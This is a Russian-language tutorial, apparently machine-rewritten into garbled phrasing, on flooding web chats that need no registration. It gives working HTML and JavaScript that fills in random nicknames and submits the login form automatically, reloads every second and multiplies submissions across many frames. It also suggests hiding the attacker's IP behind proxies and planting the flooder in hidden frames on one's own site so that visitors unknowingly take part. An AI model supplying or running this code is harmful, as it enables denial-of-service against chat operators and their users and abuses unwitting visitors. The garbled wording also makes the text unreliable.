Anti-chat или nick flooding ч.1
Сохраняем на диск стартовую страницу.
Для реализации вам потребуется чат со входом без регистрации также мало знания html(хотя-бы что это такое) . Сохраняем стартовую страницу чата, это в каком месте написано "Введите ваш ник"
Код примерно такой |
|
<html><body>...................... <FORM action=/cgi-bin/chat/login.cgi method=post
name="chat_x"> -путь куда отправляются данные .....................</html></body> |
|
| А так это выглядит в Броузере: | Введите ваш ник |
Если у вас стартовая страница загружается в виде фреймов, т.е. уже видно сообщения , внизу написано "Введите ваш ник" (обычно это самый нижний фрейм) надобно щелкнуть там(внизу) правой кнопкой также выбрать "Просмотр в виде html" там вы увидите также что также в главном случае, возможно что код станет посложнее.
если вы умеете трудиться с чатом с диска (подробно тут) также в данном чате это возможно, то код нижнего фрейма после первой сказанной фразы станет иметь следующее : <html><body>...................... <FORM action=/cgi-bin/chat/login.cgi method=post name="chat_x">
-путь куда отправляются данные .....................</html></body> |
Если этот чат находится по адресу http://www.domen.ru то в строчку <FORM action= /cgi-bin/chat/login.cgi method=post name="chat_x"> прописываем этот адрес также приобретаем: <FORM action= http://www.domen.ru/cgi-bin/chat/login.cgi method=post name="chat_x"> теперь запускаем этот файл также заходим из него в чат, name="chat_x" может отсутствовать, в то время разрешено добавить его самому. Вместо chat_x.оно может именоваться также по другму. Если получается заходить в чат из этого файла, переходим к следующей элементы.
Первая фишка: генерируем "Посетителей
чата"
Если использовать для наших целей один ник, то больше 2-3 фраз он никак не протянет...выкинут. Значит надо чтобы ник прктически всегда был различный в этом нам поможет Java script (вам его знать никак не обязательно, просто подставите свои цифры) Math.floor(Math.random()*100000000)
Пояснение: Математический объект Math: Math.random()
генерирует количество от 0 вплоть до 1, затем это
число округляется при подмоги Math.floor()
и дабы оно было целое надобно умножить
например на 10 в то время станет генерироваться
число от 0 вплоть до 9, ежели умножть на 100, то вплоть до 99,
если умножить на 1000, то вплоть до 999 также .т.д. т.е. длина
получаемого в результате числа, меньше
или равна числу нулей в том числе на
которое умножали.... блин, самолично уже запутался:-)))
В примере(см. ниже) это количество равно
100000000 вызывая
который мы получим случайное число, это ,
будет ник...
Для
того дабы это количество вписалось в форму для ника, ставим его в автозагрузку
страницы, т.е. в тег <body> позже этого
получится: <body onload="document.chat_x.nick.value
=(Math.floor(Math.random()*1000000))"> обратите забота
на название формы (см. образец html-кода выше,
оно выделено желтым цветом) это нужно для
того, дабы случайное количество вписывалось в
нужную форму также в нужное поле.
Другая фишка: Отправляем "посетителей"
в чат.
<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",1000);
}
</script>
Этот скрипт как бы "Нажимает" кнопку "Submit" и отпраляет данные из формы с названием chat_x, в чате эта кнопка может именоваться "Войти в чат" или "Сказать", действует он это с задержкой 1000 мс, это дабы вы могли сначала увидеть что загрузилось (позднее можно поставить 100), но потом данные автоматически отправляются, но для этого надобно прописать функцию отправки submit() в автозагрузку нашей страницы т.е. в тег <body onload="document.chat_x.nick.value =(Math.floor(Math.random()*1000000));submit()"> теперь при загрузке страницы выбирается случайное число, потом оно записывается в форму chat_x в поле nick. также данные из формы chat_x отправляются на сервер, получается что в чат зашел чел с ником в виде нескольких чисел.
|
Пример html-кода бесхитростного чат-флудера |
| <HTML><HEAD><TITLE>Chat Flooder</TITLE> <script Language="JavaScript"> function submit() { Timer= setTimeout(" (document.chat_x.submit())",1000); } </script> </HEAD> <BODY bgColor=#000066 onload="document.chat_x.nick.value=(Math.floor(Math.random()*1000000));submit()">
<FORM action=http://www.domen.ru/cgi-bin/chat/chat.cgi method=post name="chat_x"> |
Последнее... самолично флудинг
Для этого кушать три способа.
1.Создаем файл содержащий пара фрейма, в одном файл, какой при загрузке создает ник также отправляет его в чат, назовем его forma.htm, но во другом фрейме любой другой файл, у меня в образце это yo.htm. И сохраняем его с именем frames.htm Код этого документа станет такой:
|
Содержание файла frames.htm |
| <html><head><title>Chat Flooder</title></head> <frameset rows="*,100"> <frame name="main" src="forma.htm"> <frame name="send" src="yo.htm"> <noframes><body> <p>This page uses frames, but your browser doesn't support them.</p> </body></noframes></frameset> |
Имя фрейма send я
выделил специально, т.к. данные будут
отправляться в него, дабы файл forma.htm после
отправки никак не выгружался. Далее в коде forma.htm
дописываем следующее: в тег
<FORM action=.....target="send">
и в исток акта строчку: <meta
http-equiv="Refresh" content="1"> дабы файл сам
обновлялся каждую секунду ,и ставим Timer=0. Что получилось: Файл обновляется также шлет в чат посетителя, это видно во фрейме с именем SEND т.е. взамен файла yo.htm появляется чат, потом forma.htm обновляется также снова шлет новоиспеченого чела в чат, также снова обновляется также снова в чат заходит новоиспеченный... так вплоть до безконечности:) Частота обновления ставится исходя из скорости подключения.
Пример содержания файла forma.htm
<FORM action=http://www.domen.ru/cgi-bin/chat/chat.cgi method=post name="chat_x"
target="send">
<HTML>
<HEAD><TITLE>Chat Flooder</TITLE>
<meta http-equiv="Refresh" content="1">
<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",0);
}
</script>
</HEAD>
<BODY bgColor=#000066 onload="document.chat_x.nick.value=(Math.floor(Math.random()*1000000));submit()">
<input name=color type=hidden value=red>
Nick:<input name=nick type=text>
<input name=password type=hidden value="">
<INPUT type=submit value="Начать!!!">
</BODY></HTML>
2 Способ. Сначала делаем 4 файла которые будут отличаться только задержкой при отправке также один фреймовый файл в котором станет например 16(!) фреймов, в первой четверке первый файл, в нем Timer= setTimeout(" (document.chat_x.submit())",1000); Во другой четверке фреймов загружается второй файл в котором задержка равна 10000. В третьей четверке- 30000. Ну но в четвертой четверке загрузится четвертый файл с задержкой 40000 т.е. каждые 10000мс в чат будут заходить 4 "человека" и все разные, правда они будут в виде цифр но это фигня... Если вы использовали форму входа в чат то все они будут "заходить" в чат, но ежели форму отправки сообщения, то разрешено вписать еще в качестве сообщения абзац текста, в то время каждый сгенерированный ник станет говорить... Экспериментируйте, пробуйте другие варианты с фреймами...
Осталось только скрыть свой IP, для этого разрешено воспользоваться A4Proxy , набрать большой перечень серверов....
3 Способ. ежели у вас кушать сайт, то разрешено разместить данные файлы на него, например в скрытом фрейме, в то время также IP прктически всегда станет разный...
Валим чат:)
FAQ: Если никак не получается
FlooDer: У меня ничто никак не получается:)
Попробуй
сначала просто зайти в чат с диска, т.е. из
сохраненной на винт формы входа, ежели все
получилось, значит погрешность в коде "скрипта-флудера":), ежели никак не получилось, то
читай дальше...
FlooDer: Зашел с диска, нынче никак не получается отправить данные:) что действовать?
Проверь правильность названия форм (name=XxXxX)
FlooDer: В строке <FORM action=http://www.***.ru/chat.cgi
method=post> общий нет name="XxXxX", что действовать?
Вставь сам: (name="chat_x" target="send")
target- дабы данные отправлялись во фрейм send, получится
так:
<FORM action=http://www.***.ru/chat.cgi method=post name="chat_x"
target="send">
FlooDer: При входе в чат надобно вводить пароль, подходит всякий ежели ник никак не зарегистрирован, как его вписать в код?
В форме для ввода пароля надобно добавить: value="abrakadabra"
тогда с этим паролем будут вступать все
сгенеренные "юзеры"
Новое на форуме
Новое на сайте
Аттестат WM
Отличное средство для улучшения климата дома - мобильный кондиционер. Удобная доставка.